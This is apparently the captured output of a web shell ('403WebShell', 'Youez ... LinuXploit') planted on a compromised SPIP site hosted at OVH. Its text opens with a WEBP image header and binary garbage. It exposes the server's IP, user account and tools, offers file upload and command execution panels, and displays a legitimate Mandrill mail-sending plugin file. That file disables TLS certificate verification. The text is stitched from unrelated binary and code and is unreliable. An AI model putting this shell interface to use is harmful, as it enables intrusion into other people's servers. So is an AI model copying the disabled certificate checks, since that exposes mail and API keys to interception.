....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uneseuleoc/www/plugins/auto/mailshot/v3.0.12/inc/Facteur/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uneseuleoc/www/plugins/auto/mailshot/v3.0.12/inc/Facteur/FacteurMandrill.php
<?php
/**
 * Plugin Mailshot
 * Extension du Plugin Facteur 4
 * (c) 2009-2019 Collectif SPIP
 * Distribue sous licence GPL
 *
 * @package SPIP\Facteur\FacteurMailjet
 */

namespace SPIP\Facteur;

use SPIP\Facteur\FacteurApi as FacteurApi;
use Mandrill as Mandrill;

if (!defined("_ECRIRE_INC_VERSION")){
	return;
}


include_spip('inc/Facteur/FacteurApi');
include_spip("lib/mandrill-api-php/src/Mandrill");


/**
 * Utilise l'API Mandrill
 */
class FacteurMandrill extends FacteurApi {
	protected static $logName = 'mandrill';

	protected $apiKey;

	// pour le tracking des campagne
	protected $trackingId;


	/**
	 * Facteur constructor.
	 * @param array $options
	 * @throws \Exception
	 */
	public function __construct($options = array()){
		parent::__construct($options);
		$this->mailer = 'mandrill';

		if (!empty($options['mandrill_api_key'])){
			$this->apiKey = $options['mandrill_api_key'];
		}
		if (!empty($options['tracking_id'])){
			$this->trackingId = $options['tracking_id'];
		}
	}

	/**
	 * Auto-configuration du mailer si besoin
	 * (rien a faire ici dans le cas par defaut)
	 * @return bool
	 */
	public function configure(){
		parent::configure();
		//$this->addAuthorizedSender($this->From, $this->FromName);
		return true;
	}

	/**
	 * Initialiser les webhooks pour les newsletter
	 * @param string $quoi newsletter
	 * @return bool
	 */
	public function initWebHooks($quoi = 'newsletter'){
		$mandrill = static::getMandrillAPI($this->apiKey);

		// recuperer les webhooks existants
		try {
			$list = $mandrill->webhooks->getList();
			$this->log("initWebHooks: list " . json_encode($list), _LOG_DEBUG);
		} catch (\Exception $e) {
			$this->log($e = "initWebHooks: Mandrill Exception " . $e->getMessage(), _LOG_ERREUR);
			return false;
		}

		// son webhook
		$url = url_absolue(_DIR_RACINE . "mailshot_webhook.api/mandrill/");
		$events = array("hard_bounce", "soft_bounce", "open", "click", "spam", "reject");
		if ($quoi === 'important') {
			$events[] = 'send';
		}

		// chercher si un webhook deja existant avec cette url, et si les events sont ok
		if (count($list)){
			foreach ($list as $l){
				if ($l['url']==$url){
					$e = $l['events'];
					if (!count(array_diff($e, $events)) and !count(array_diff($events, $e))){
						$this->log("initWebHooks: Webhook OK rien a faire", _LOG_DEBUG);
						return true;
					}

					// la liste des events est non ok : supprimer ce webhook
					try {
						$mandrill->webhooks->delete($l['id']);
					} catch (\Exception $e) {
						$this->log($e = "initWebHooks: Mandrill Exception " . $e->getMessage(), _LOG_ERREUR);
						return false;
					}
				}
			}
		}

		// donc on a pas de webhook pour ce site, on l'ajoute
		if (count($events)){
			try {
				$mandrill->webhooks->add($url, $events);
				$this->log("initWebHooks: ajout Webhook events ".json_encode($events)." sur $url", _LOG_DEBUG);
			} catch (\Exception $e) {
				$this->log($e = "initWebHooks: Mandrill Exception " . $e->getMessage(), _LOG_ERREUR);
				return false;
			}
		}

		return true;
	}

	/**
	 * @param string $apiKey
	 * @return SpipMandrill
	 */
	public static function getMandrillAPI($apiKey){
		$mandrill = new SpipMandrill($apiKey);
		return $mandrill;
	}

	/**
	 * Verifier le status des messages ids envoyes
	 * a implementer par chaque API
	 * @param $apiCredentials
	 * @param $ids
	 * @return array[]
	 */
	public static function checkMessagesSentStatus($apiCredentials, $ids){
		$statuses_fail = ['soft_bounce', 'hard_bounce', 'reject', 'spam', 'unsub', 'rejected', 'invalid'];
		$statuses_ok = ['sent', 'read', 'clic'];
		$res = static::checkMessagesSentStatusFromStatusFile('mandrill', $ids, $statuses_ok, $statuses_fail);
		if (empty($res['failed']) and !empty($res['recheck'])){
			$recheck = $res['recheck'];
			$mandrill = static::getMandrillAPI($apiCredentials['apiKey']);
			foreach ($recheck as $message_id){
				try {
					$status = $mandrill->call('messages/info', array('id' => $message_id));
					static::logDebug("checkMessagesSentStatus: messages/info id=$message_id : " . json_encode($status), _LOG_DEBUG);
					if (!empty($status['state'])){
						$file_status = self::messageSendStatusFile('mandrill', $message_id);
						if (in_array($status['state'], $statuses_fail)){
							@unlink($file_status);
							$res['failed'][] = $message_id;
							break;
						} elseif (in_array($status['state'], $statuses_ok)) {
							@unlink($file_status);
							$res['recheck'] = array_diff($res['recheck'], [$message_id]);
						}
					}
				} catch (\Exception $e) {
					static::logDebug("checkMessagesSentStatus: " . $e->getMessage() . " pour retrouver les infos du message id $message_id", _LOG_ERREUR);
				}
			}
		}
		return $res;
	}

	/**
	 * Lister les api Credentials pour le futur check de message livre
	 * a implementer par chaque API
	 * @return array
	 */
	protected function getApiCredentials(){
		return ['apiKey' => $this->apiKey];
	}

	/**
	 * Extraire les messages ID de la reponse de l'API lors de l'envoi
	 * a implementer par chaque API
	 * @param $res
	 * @return array
	 */
	protected function getMessageIdsFromResult($res){
		$ids = [];
		foreach ($res as $message){
			$ids[] = $message['_id'];
			if (!empty($message['status'])){
				$this->recordMessagesSentStatus($message['_id'], [$message['status']], true);
			}
		}
		return $ids;
	}

	/**
	 * utilise $this->send_options options d'envoi
	 *     string tracking_id
	 * @return bool
	 */
	public function Send(){
		$this->forceFromIfNeeded();

		/**
		 * Send a new transactional message through Mandrill
		 * @param struct $message the information on the message to send
		 *     - html string the full HTML content to be sent
		 *     - text string optional full text content to be sent
		 *     - subject string the message subject
		 *     - from_email string the sender email address.
		 *     - from_name string optional from name to be used
		 *     - to array an array of recipient information.
		 *         - to[] struct a single recipient's information.
		 *             - email string the email address of the recipient
		 *             - name string the optional display name to use for the recipient
		 *     - headers struct optional extra headers to add to the message (currently only Reply-To and X-* headers are allowed)
		 *     - track_opens boolean whether or not to turn on open tracking for the message
		 *     - track_clicks boolean whether or not to turn on click tracking for the message
		 *     - auto_text boolean whether or not to automatically generate a text part for messages that are not given text
		 *     - url_strip_qs boolean whether or not to strip the query string from URLs when aggregating tracked URL data
		 *     - preserve_recipients boolean whether or not to expose all recipients in to "To" header for each email
		 *     - bcc_address string an optional address to receive an exact copy of each recipient's email
		 *     - merge boolean whether to evaluate merge tags in the message. Will automatically be set to true if either merge_vars or global_merge_vars are provided.
		 *     - global_merge_vars array global merge variables to use for all recipients. You can override these per recipient.
		 *         - global_merge_vars[] struct a single global merge variable
		 *             - name string the global merge variable's name. Merge variable names are case-insensitive and may not start with _
		 *             - content string the global merge variable's content
		 *     - merge_vars array per-recipient merge variables, which override global merge variables with the same name.
		 *         - merge_vars[] struct per-recipient merge variables
		 *             - rcpt string the email address of the recipient that the merge variables should apply to
		 *             - vars array the recipient's merge variables
		 *                 - vars[] struct a single merge variable
		 *                     - name string the merge variable's name. Merge variable names are case-insensitive and may not start with _
		 *                     - content string the merge variable's content
		 *     - tags array an array of string to tag the message with.  Stats are accumulated using tags, though we only store the first 100 we see, so this should not be unique or change frequently.  Tags should be 50 characters or less.  Any tags starting with an underscore are reserved for internal use and will cause errors.
		 *         - tags[] string a single tag - must not start with an underscore
		 *     - google_analytics_domains array an array of strings indicating for which any matching URLs will automatically have Google Analytics parameters appended to their query string automatically.
		 *     - google_analytics_campaign array|string optional string indicating the value to set for the utm_campaign tracking parameter. If this isn't provided the email's from address will be used instead.
		 *     - metadata array metadata an associative array of user metadata. Mandrill will store this metadata and make it available for retrieval. In addition, you can select up to 10 metadata fields to index and make searchable using the Mandrill search api.
		 *     - recipient_metadata array Per-recipient metadata that will override the global values specified in the metadata parameter.
		 *         - recipient_metadata[] struct metadata for a single recipient
		 *             - rcpt string the email address of the recipient that the metadata is associated with
		 *             - values array an associated array containing the recipient's unique metadata. If a key exists in both the per-recipient metadata and the global metadata, the per-recipient metadata will be used.
		 *     - attachments array an array of supported attachments to add to the message
		 *         - attachments[] struct a single supported attachment
		 *             - type string the MIME type of the attachment - allowed types are text/*, image/*, and application/pdf
		 *             - name string the file name of the attachment
		 *             - content string the content of the attachment as a base64-encoded string
		 * @param boolean $async enable a background sending mode that is optimized for bulk sending. In async mode, messages/send will immediately return a status of "queued" for every recipient. To handle rejections when sending in async mode, set up a webhook for the 'reject' event. Defaults to false for messages with fewer than 100 recipients; messages with more than 100 recipients are always sent asynchronously, regardless of the value of async.
		 * @return array of structs for each recipient containing the key "email" with the email address and "status" as either "sent", "queued", or "rejected"
		 *     - return[] struct the sending results for a single recipient
		 *         - email string the email address of the recipient
		 *         - status string the sending status of the recipient - either "sent", "queued", "rejected", or "invalid"
		 */
		$message = array(
			'html' => $this->Body,
			'text' => $this->AltBody,
			'subject' => $this->Subject,
			'from_email' => $this->From,
			'from_name' => $this->FromName,
			'to' => array(),
			'headers' => array()
		);
		$async = true;

		foreach ($this->recipients['to'] as $to){
			$message['to'][] = $to;
		}
		foreach ($this->recipients['cc'] as $cc){
			$cc['type'] = 'cc';
			$message['to'][] = $cc;
		}
		foreach ($this->recipients['bcc'] as $bcc){
			$cc['type'] = 'bcc';
			$message['to'][] = $bcc;
		}

		if ($this->recipients['reply-to']
			and $replyto = end($this->recipients['reply-to'])){
			$message['headers']['ReplyTo'] = $this->formatEmailDest($replyto);
		}

		foreach ($this->headers as $name => $value){
			$message['headers'][$name] = $value;
		}

		// ajouter le tracking_id en tag, pour retrouver le message apres webhook
		if ($this->trackingId){
			$message['track_opens'] = true;
			$message['track_clicks'] = true;
			// prefixer le tracking par l'url du site pour ne pas melanger les feedbacks
			$message['tags'][] = $this->campaignName($this->trackingId);
		}

		/**
		 * $this->attachment[] = [
		 * 0 => $path,
		 * 1 => $filename,
		 * 2 => $name,
		 * 3 => $encoding,
		 * 4 => $type,
		 * 5 => false, //isStringAttachment
		 * 6 => $disposition,
		 * 7 => $name,
		 * ];
		 */
		if (count($this->attachment)){
			$message['attachments'] = [];
			foreach ($this->attachment as $attachment){
				$bString = $attachment[5];
				if ($bString){
					$string = $attachment[0];
				} else {
					$path = $attachment[0];
					$string = file_get_contents($path);
				}
				$string = base64_encode($string);

				$message['attachments'][] = [
					'name' => $attachment[1],
					'content' => $string,
					'type' => $attachment[4],
				];
			}
		}

		// est-ce un message important ?
		if ($this->important){
			$message['important'] = true;
			$async = false;
		}

		$mandrill = static::getMandrillAPI($this->apiKey);

		try {
			$res = $mandrill->messages->send($message, $async);
		} catch (\Exception $e) {
			$this->SetError($e->getMessage());
			if ($this->exceptions){
				throw $e;
			}
			return $this->sendAlertIfNeeded(false);
		}

		$this->log("Send() resultat:" . json_encode($res), _LOG_DEBUG);

		// statut d'erreur au premier niveau ?
		if (isset($res['status'])){
			switch ($res['status']) {
				case 'error':
					$this->SetError($error = $res['name'] . ": " . $res['message']);
					if ($this->exceptions){
						throw new \Exception($error);
					}
					return $this->sendAlertIfNeeded(false);
					break;
				default:
					$this->SetError($error = "??????" . json_encode($res));
					if ($this->exceptions){
						throw new \Exception($error);
					}
					return $this->sendAlertIfNeeded(false);
					break;
			}
		}

		// sinon regarder le status du premier mail envoye (le to)
		// ici on ne gere qu'un destinataire
		$rmail = reset($res);
		switch ($rmail['status']) {
			case 'invalid':
			case 'rejected':
				$this->SetError($error = "Send status is " . _q($rmail['status']));
				// si on a Facteur 5+ pas la peine de reessayer un envoi
				if (method_exists($this, "setIsFinalTry")) {
					$this->setIsFinalTry(true);
				}
				if ($this->exceptions){
					throw new \Exception($error);
				}
				return $this->sendAlertIfNeeded(false);
				break;
			case "sent":
			case "queued":
				return $this->sendAlertIfNeeded($res);
				break;
		}

		// ici on ne sait pas ce qu'il s'est passe !
		$this->SetError($error = "??????" . json_encode($res));
		$this->log("Send() resultat inatendu : " . json_encode($res), _LOG_ERREUR);
		if ($this->exceptions){
			throw new \Exception($error);
		}
		return $this->sendAlertIfNeeded($res);
	}
}


/**
 * Prise en charge par recuperer_url quand curl pas dispo ou pas complet
 */
class SpipMandrill extends \Mandrill {
	public function __construct($apikey = null){
		parent::__construct($apikey);

		//WARNING: this would prevent curl from detecting a 'man in the middle' attack
		curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, 0);
	}

	public function call($url, $params){
		$params['key'] = $this->apikey;
		$paramsjson = json_encode($params);
		$response_body = "";
		if (!function_exists('curl_init')
			or @ini_get("safe_mode")=="On"
			or @ini_get("open_basedir")){

			spip_log("Appel de Mandrill par recuperer_url", "mandrill" . _LOG_DEBUG);
			// essayer avec les fonctions natives de SPIP
			// mais ne supportent pas forcement https si pas openssl
			include_spip('inc/distant');
			$response_body = recuperer_url($this->root . $url . '.json', ['datas' => $paramsjson]);
			$response_body = (isset($response_body['page']) ? $response_body['page'] : null);
			if (!$response_body){
				spip_log("Echec Appel de Mandrill par recuperer_url", "mandrill" . _LOG_ERREUR);
			}
		}

		if (!$response_body){
			return parent::call($url, $params);
		}

		$result = json_decode($response_body, true);
		if ($result===null){
			throw new \Mandrill_Error('We were unable to decode the JSON response from the Mandrill API: ' . $response_body);
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit